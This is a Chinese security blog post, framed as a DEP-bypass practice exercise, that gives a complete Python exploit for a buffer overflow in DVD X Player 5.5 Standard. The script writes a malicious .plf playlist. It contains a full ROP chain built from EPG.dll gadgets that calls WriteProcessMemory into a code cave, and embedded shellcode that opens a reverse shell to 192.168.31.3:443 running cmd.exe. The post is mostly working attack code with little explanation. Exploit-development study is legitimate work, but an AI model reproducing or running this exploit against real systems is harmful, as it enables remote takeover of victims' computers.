DEP绕过WriteProcessMemory练习 - DVD X Player 5.5 Standard

0x0dee 2024-03-02 23:44:42

DEP绕过WriteProcessMemory练习 - DVD X Player 5.5 Standard

shell截图

image.png
shellcode生成脚本: win-x86-shellcoder

shellcode生成命令: python win_x86_shellcoder.py -b "\x00\x0a\x0d\x1a" reverse -i 192.168.31.3 -p 443
软件下载地址DVDXPlayerSetup.exe

PoC:

import sys, os
from struct import pack

def rop() :
    ###                             ###
    # 软件名称: DVD X Player 5.5 Standard  
    # 利用作者: 0x0dee                         
    # 使用模块: EPG.dll                         
    # 坏字符: 0x00 0x0a 0x0d 0x1a                 
    # 绕过DEP使用的API: WriteProcessMemory        
    # 代码洞地址: 0x6164adf0               
    # 可写地址: 0x616654c0                  
    ###                             ###

    ropbuf = b""     
    ## 获得调用结构地址
    ropbuf += pack("<L", 0x6162d908) # push esp ; sub eax, 0x20 ; pop ebx ; ret  ; 
    # esp的偏移在eip+0n20处,所以在第一个gadget执行完之后还需要填充4 * 5个字节 
    ropbuf += pack("<L", 0xffffffff) ##   
    ropbuf += pack("<L", 0xffffffff) ##    
    ropbuf += pack("<L", 0xffffffff) ##   
    ropbuf += pack("<L", 0xffffffff) ##      


    # 调用结构距离esp+0x204字节
    ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret  ;   
    ropbuf += pack("<L", 0x616464e9) # pop ecx ; ret  ; 
    ropbuf += pack("<L", 0xfffffdfc) ## = 0 - 0x204
    ropbuf += pack("<L", 0x6162a478) # sub eax, ecx ; ret  ;
    # 保存调用结构地址
    ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret  ; 

    ## 将WriteProcessMemory调用地址写入到调用结构中
    ropbuf += pack("<L", 0x61644d66) # pop eax ; ret  ;  
    ropbuf += pack("<L", 0x6164b138) ## 导入表指针指向VirtualAlloc    
    # 解引用得到VirtualAlloc在kernel32中的地址
    ropbuf += pack("<L", 0x616306ed) # mov eax, dword [eax] ; ret  ; 
    ropbuf += pack("<L", 0x616464e9) # pop ecx ; ret  ; 
    ropbuf += pack("<L", 0xfffdf7a0) ## = 0 - 0x20860
    # 将VirtualAlloc地址加上0x20860得到WriteProcessMemory地址
    ropbuf += pack("<L", 0x6162a478) # sub eax, ecx ; ret  ;
    ropbuf += pack("<L", 0x61608ba2) # xchg eax, edx ; ret  ;
    ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret  ; 
    # 将WriteProcessMemory地址写入到调用结构中
    ropbuf += pack("<L", 0x616098ae) # mov dword [eax], edx ; ret  ;  

    ## 写入返回地址
    ropbuf += pack("<L", 0x61628105) # inc eax ; ret  ; 
    ropbuf += pack("<L", 0x61628105) # inc eax ; ret  ; 
    ropbuf += pack("<L", 0x61628105) # inc eax ; ret  ; 
    ropbuf += pack("<L", 0x61628105) # inc eax ; ret  ; 
    ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret  ;       
    ropbuf += pack("<L", 0x61644d66) # pop eax ; ret  ;  
    ropbuf += pack("<L", 0x6164adf0) ## 代码洞地址      
    ropbuf += pack("<L", 0x61608ba2) # xchg eax, edx ; ret  ;
    # 将代码洞地址写入到调用结构的第二个条目中
    ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret  ;   
    ropbuf += pack("<L", 0x616098ae) # mov dword [eax], edx ; ret  ;     

    ## 写入hProcess
    ropbuf += pack("<L", 0x61628105) # inc eax ; ret  ; 
    ropbuf += pack("<L", 0x61628105) # inc eax ; ret  ; 
    ropbuf += pack("<L", 0x61628105) # inc eax ; ret  ; 
    ropbuf += pack("<L", 0x61628105) # inc eax ; ret  ; 
    ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret  ;       
    ropbuf += pack("<L", 0x61644d66) # pop eax ; ret  ;  
    ropbuf += pack("<L", 0xffffffff) ## -1      
    ropbuf += pack("<L", 0x61608ba2) # xchg eax, edx ; ret  ;
    # 将-1写入到调用结构的第三个条目中
    ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret  ;   
    ropbuf += pack("<L", 0x616098ae) # mov dword [eax], edx ; ret  ;      

    ## 写入lpBaseAddress
    ropbuf += pack("<L", 0x61628105) # inc eax ; ret  ; 
    ropbuf += pack("<L", 0x61628105) # inc eax ; ret  ; 
    ropbuf += pack("<L", 0x61628105) # inc eax ; ret  ; 
    ropbuf += pack("<L", 0x61628105) # inc eax ; ret  ; 
    ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret  ;       
    ropbuf += pack("<L", 0x61644d66) # pop eax ; ret  ;  
    ropbuf += pack("<L", 0x6164adf0) ## 代码洞地址     
    ropbuf += pack("<L", 0x61608ba2) # xchg eax, edx ; ret  ;
    # 将代码洞地址写入到调用结构的第四个条目中
    ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret  ;   
    ropbuf += pack("<L", 0x616098ae) # mov dword [eax], edx ; ret  ;   

    ## 写入lpBuffer
    ropbuf += pack("<L", 0x61628105) # inc eax ; ret  ; 
    ropbuf += pack("<L", 0x61628105) # inc eax ; ret  ; 
    ropbuf += pack("<L", 0x61628105) # inc eax ; ret  ; 
    ropbuf += pack("<L", 0x61628105) # inc eax ; ret  ; 
    # 保存eax的值用于计算shellcode在栈中的地址,我们将shellcode放置在现在的eax值0x20的位置
    ropbuf += pack("<L", 0x61640f09) # push eax ; pop esi ; retn 0x0004 ;    
    # 保存eax中调用结构的指针 
    ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret  ;   
    ropbuf += pack("<L", 0xffffffff) ## junk for retn 0x04
    ropbuf += pack("<L", 0x616464e9) # pop ecx ; ret  ; 
    ropbuf += pack("<L", 0xffffffe0) ## = 0 - 0x20
    # 取回保存的调用结构地址值
    ropbuf += pack("<L", 0x616385d8) # xchg eax, esi ; retn 0x0000 ;   
    # eax+0x20计算得shellcode在栈中的地址 
    ropbuf += pack("<L", 0x6162a478) # sub eax, ecx ; ret  ;     
    ropbuf += pack("<L", 0x61608ba2) # xchg eax, edx ; ret  ;
    # 取回调用结构的地址
    ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret  ;   
    # 将lpBuffer写入到调用结构的第五个条目中
    ropbuf += pack("<L", 0x616098ae) # mov dword [eax], edx ; ret  ;  

    ## 写入nSize
    ropbuf += pack("<L", 0x61628105) # inc eax ; ret  ; 
    ropbuf += pack("<L", 0x61628105) # inc eax ; ret  ; 
    ropbuf += pack("<L", 0x61628105) # inc eax ; ret  ; 
    ropbuf += pack("<L", 0x61628105) # inc eax ; ret  ; 
    ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret  ;       
    ropbuf += pack("<L", 0x61644d66) # pop eax ; ret  ;  
    ropbuf += pack("<L", 0x11111111) ## 
    ropbuf += pack("<L", 0x61631eee) # pop ebp ; ret  ;  
    ropbuf += pack("<L", 0xeeeef0ef) ## 0x200 - 0x11111111 = 0eeeef0ef
    # 用两个不包含0x00字符的数相加得到0x200
    ropbuf += pack("<L", 0x6161f127) # add eax, ebp ; ret  ;  
    ropbuf += pack("<L", 0x61608ba2) # xchg eax, edx ; ret  ;
    # 取回调用结构指针
    ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret  ;  
    # 将nSize写入到调用结构的第六个条目中 
    ropbuf += pack("<L", 0x616098ae) # mov dword [eax], edx ; ret  ;        

    ## 写入lpNumberOfBytesWritten
    # 可写地址,位于数据段:0x616654c0
    ropbuf += pack("<L", 0x61628105) # inc eax ; ret  ; 
    ropbuf += pack("<L", 0x61628105) # inc eax ; ret  ; 
    ropbuf += pack("<L", 0x61628105) # inc eax ; ret  ; 
    ropbuf += pack("<L", 0x61628105) # inc eax ; ret  ; 
    ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret  ;       
    ropbuf += pack("<L", 0x61644d66) # pop eax ; ret  ;  
    ropbuf += pack("<L", 0x616654c0) ## 代码洞地址     
    ropbuf += pack("<L", 0x61608ba2) # xchg eax, edx ; ret  ;
    # 将可写地址写入到调用结构的第七个条目中
    ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret  ;   
    ropbuf += pack("<L", 0x616098ae) # mov dword [eax], edx ; ret  ;    

    ## 调用WPM
    # 将eax减去4*6=0x18后使用xchg eax, esp; ret ;即可调用WPM
    ropbuf += pack("<L", 0x6162d909) # sub eax, 0x20 ; pop ebx ; ret  ;
    ropbuf += pack("<L", 0xffffffff) # junk for pop ebx
    ropbuf += pack("<L", 0x61628de7) # add eax, 0x08 ; ret  ;  
    # eax - 0x20 + 0x08 = eax - 0x18
    ropbuf += pack("<L", 0x616372a8) # xchg eax, esp ; ret  ;

    print("rop size "+ hex(len(ropbuf)))

    return ropbuf

bufferSize = 1300

# eip offset : 0n260
# esp offest : 0n280
# badchars : 0x00 0x0d 0x0a 0x1a
buffer = b""
offsetOfEIP = b"A" * 260

eip = rop()
buffer += offsetOfEIP + eip

#└─$ python win_x86_shellcoder.py -b "\x00\x0a\x0d\x1a"  reverse -i 192.168.31.3 -p 443  
# shellcode size: 0x153 (339)
shellcode = b'\x89\xe5\x81\xc4\xf0\xf9\xff\xff\xeb\x06^\x89u\x04\xebN\xe8\xf5\xff\xff\xff`1\xc9d\x8bq0\x8bv\x0c\x8bv\x1cV\x8b^\x08\x0f\xb6F\x1e\x89E\xf8\x8bC<\x8b|\x03x\x01\xdf\x8bO\x18\x8bG \x01\xd8\x89E\xfc\xe3\x1dI\x8bE\xfc\x8b4\x88\x01\xde1\xc0\x8bU\xf8\xfc\xac\x84\xc0t\x0e\xc1\xca\x02\x01\xc2\xeb\xf4\xeb)^\x8b6\xeb\xbd;T$(u\xd6\x8bW$\x01\xdaf\x8b\x0cJ\x8bW\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89D$ ^aYZQ\xff\xe0\xb8\xb4\xb3\xff\xfe\xf7\xd8Ph32.DhWS2_Thhz\xc4v\xffU\x04\x89\xe01\xc9f\xb9\x90\x05)\xc8P1\xc0f\xb8\x02\x02Ph\x96 \x9e\xcc\xffU\x041\xc0PPP\xb0\x06P,\x05P@Phf ^\x81\xffU\x04\x89\xc61\xc0PPh\xc0\xa8\x1f\x03f\xb8\x01\xbb\xc1\xe0\x10f\x83\xc0\x02PT_1\xc0PPPP\x04\x10PWVh\x95 ^W\xffU\x04VVV1\xc0H\x8dH\x0e@P\xe2\xfd\xb0DPT_f\xc7G,\x01\x01\xb8\x9b\x87\x9a\xff\xf7\xd8Phcmd.\x89\xe3\x89\xe01\xc9f\xb9\x90\x03)\xc8PW1\xc0PPP@PHPPSPh\xc7(\xaa\x0b\xffU\x041\xc9Qj\xffh\xd2U\xa9.\xffU\x04'

offsetOfshellcode = b"\x90" * (0x200 - len(eip) + 0x20 +  0x20 + 0x20)
buffer += offsetOfshellcode + shellcode

buffer += b"Z" * (bufferSize - len(buffer))
file = open("venom_playlist.plf", "wb")
file.write(buffer)
print("write buffer " + str(len(buffer)) + " byte")
file.close()

评论

0

0x0dee

这个人很懒,没有留下任何介绍

随机分类

memcache安全 文章:1 篇
数据安全 文章:29 篇
逆向安全 文章:70 篇
事件分析 文章:223 篇
后门 文章:39 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

目录